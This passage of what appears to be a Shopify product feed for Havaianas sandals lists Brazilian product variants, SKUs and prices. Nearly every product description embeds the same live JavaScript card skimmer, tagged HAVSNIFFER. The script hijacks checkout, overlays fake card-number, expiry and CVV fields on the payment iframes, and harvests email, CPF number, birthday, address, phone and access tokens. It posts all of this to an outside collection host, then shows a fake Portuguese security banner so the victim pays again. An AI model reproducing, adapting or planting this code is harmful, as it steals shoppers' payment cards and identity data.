=v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003e\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Rose Gold \/ 37\/38","offer_id":46311500087553,"sku":"4150257_6131_378","price":154.99,"currency_code":"BRL","in_stock":true},{"title":"Rose Gold \/ 39\/40","offer_id":46311500120321,"sku":"4150257_6131_390","price":154.99,"currency_code":"BRL","in_stock":true},{"title":"Rose Gold \/ 41\/42","offer_id":46311500153089,"sku":"4150257_6131_412","price":154.99,"currency_code":"BRL","in_stock":true},{"title":"Rose Gold \/ 43\/44","offer_id":46311500185857,"sku":"4150257_6131_434","price":154.99,"currency_code":"BRL","in_stock":true},{"title":"Rose Gold \/ 45\/46","offer_id":46311500218625,"sku":"4150257_6131_456","price":154.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4150257-6131-surfer-coast-0.png?v=1747769938"},{"product_id":"chinelo-havaianas-sufer-coast-4150257_6780","title":"Chinelo Havaianas Surfer Coast","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003e\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Marinho \/ 37\/38","offer_id":46311500513537,"sku":"4150257_6780_378","price":154.99,"currency_code":"BRL","in_stock":true},{"title":"Marinho \/ 39\/40","offer_id":46311500546305,"sku":"4150257_6780_390","price":154.99,"currency_code":"BRL","in_stock":true},{"title":"Marinho \/ 41\/42","offer_id":46311500579073,"sku":"4150257_6780_412","price":154.99,"currency_code":"BRL","in_stock":true},{"title":"Marinho \/ 43\/44","offer_id":46311500611841,"sku":"4150257_6780_434","price":154.99,"currency_code":"BRL","in_stock":true},{"title":"Marinho \/ 45\/46","offer_id":46311500644609,"sku":"4150257_6780_456","price":154.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4150257-6780-surfer-coast-0.png?v=1747769909"},{"product_id":"chinelo-havaianas-city-basic-4150268_7663","title":"Chinelo Havaianas City Basic","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003e\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Preto \/ 37\/38","offer_id":46311500808449,"sku":"4150268_7663_378","price":59.99,"currency_code":"BRL","in_stock":true},{"title":"Preto \/ 39\/40","offer_id":46311500841217,"sku":"4150268_7663_390","price":59.99,"currency_code":"BRL","in_stock":true},{"title":"Preto \/ 41\/42","offer_id":46311500873985,"sku":"4150268_7663_412","price":59.99,"currency_code":"BRL","in_stock":true},{"title":"Preto \/ 43\/44","offer_id":46311500906753,"sku":"4150268_7663_434","price":59.99,"currency_code":"BRL","in_stock":true},{"title":"Preto \/ 45\/46","offer_id":46311500939521,"sku":"4150268_7663_456","price":59.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4150268-7663-city-basic-0.png?v=1747767954"},{"product_id":"chinelo-havaianas-city-basic-4150268_2945","title":"Chinelo Havaianas City Basic","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return 